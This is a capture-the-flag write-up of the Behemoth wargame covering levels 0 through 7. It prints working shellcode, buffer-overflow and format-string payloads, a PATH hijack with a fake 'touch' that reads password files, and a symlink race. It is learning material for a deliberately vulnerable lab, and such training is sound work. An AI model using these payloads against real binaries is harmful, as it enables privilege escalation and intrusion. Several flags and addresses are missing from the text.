This wargame deals with a lot of regular vulnerabilities found commonly ‘out in the wild’. While the game makes no attempts at emulating a real environment it will teach you how to exploit several of the most common coding mistakes including buffer overflows, race conditions and privilege escalation.
All the password are stored in
behemoth0, it will tell us to enter the password. By using ltrace, we can see that the password is compared to
eatmyshorts. Enter it as our password, and we can get the shell.
Level 0 -> Level 1
By using ltrace, we see it uses
gets() to store our input. It may cause buffer overflow.
And we use Checksec.
|No RELRO||No canary found||NX disabled||No PIE|
Set our enviornment variable
export EGG=$(python -c ‘print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")'), and we can make EIP to the address of
$EGG, which contains shellcode.
We need 71 paddings to cover return address using gdb. We can execute
(python -c 'print("A"*71+"\x6e\xde\xff\xff")'; cat) | ./behemoth1 to get the flag.
The flag is
Level 1 -> Level 2
In this challenge, we can see that the program tries to touch a file named with process id.
We can change
/usr/bin/touch to our own
touch, and we can get the flag.
To do so, we create a folder
/tmp/l3o, and execute
ln -s /behemoth/behemoth2 /tmp/l3o/behemoth2 to make a symbolic link. We execute
echo "cat /etc/behemoth_pass/behemoth3" > touch to create a file named
touch, and it gives us flag.
chmod +x touch to make it an executable, and
export PATH=/tmp/l3o:$PATH to make sure behemoth2 will trigger this
./behemoth2, we can get the flag
Level 2 -> Level 3
In this challenge, it uses
fgets() to ask for identity, and use
puts() to say welcome and goodbye.
What we can do to get the flag is to store our shellcode in an environment variable, and with
fgets(), we can trigger format string vulnerability to edit the address in function
puts(), and make it jumps to our shellcode.
objdump -D /behemoth/behemoth3 | less to see where exactly
puts() jumps, and the address is
export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")') to prepare our shellcode, and find its address in
When LOB < HOB, the formula to format string editting is
[addr][addr+2]%[LOB-8]x%[offset]$hn%[HOB-LOB]x%[offset+1]$hn. LOB is
dee7, and HOB is
Finally, we use
(python -c 'print("\xac\x97\x04\x08"+"\xae\x97\x04\x08"+"%57055x%1$hn"+ "%8472x%2$hn")';cat) | /behemoth/behemoth3 to get the shell and flag. That is, we change the content stored at
puts() executes, we get to our shellcode.
The flag is
Level 3 -> Level 4
In this challenge, the program will get its pid and see if a file named after its pid is under
/tmp. If it does not, it exits. If it does, it will get the contents in that file and print them out.
What we can do is that we start it as a background process, get its pid, and stop it immediately. After creating a symbolic link to the password with the name we need, we continue the process, and it will print out password for us.
And we can get the flag
Level 4 -> Level 5
Decompile the program, and we can see that it takes the password and sends to localhost port 1337.
What we need to do is open a tab and listen with
nc -lu localhost -p 1337, run
./behemoth5 with another tab, and we can get the flag
Level 5 -> Level 6
In this challenge, there are two files,
If we decompile these two files, we can see that
behemoth6 will open a process of
behemoth6_reader and take its return value to compare with a string
behemoth6_reader, it takes shellcode from
shellcode.txt and executes it. So we are going to put shellcode which print out
First, we write the assembly code
We make it to the executable with
nasm -f elf hello.asm,
ld -m elf_i386 -s -o hello hello.o. Later we use
objdump -d hello to get our shellcode
\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2 \x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff \x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79.
And we can get the shell and flag
Level 6 -> Level 7
In this challenge,
behemoth7 will zero out all the environment variables and put our arguments into an 512 bytes array. However, it will check if there is non-alphabat character in the array. We can not put our shellcode in the array.
By testing, we know that we need 528 bytes paddings to access return address, so we can use
./behemoth7 $(python -c 'print("A"*528 + "\x50\xd4\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') to get the shell, we put our shellcode on higher address to prevent scrutinizing.
And we can get the flag
Level 7 -> Level 8
Congratz!! Now fight for your right to eip=0x41414141!!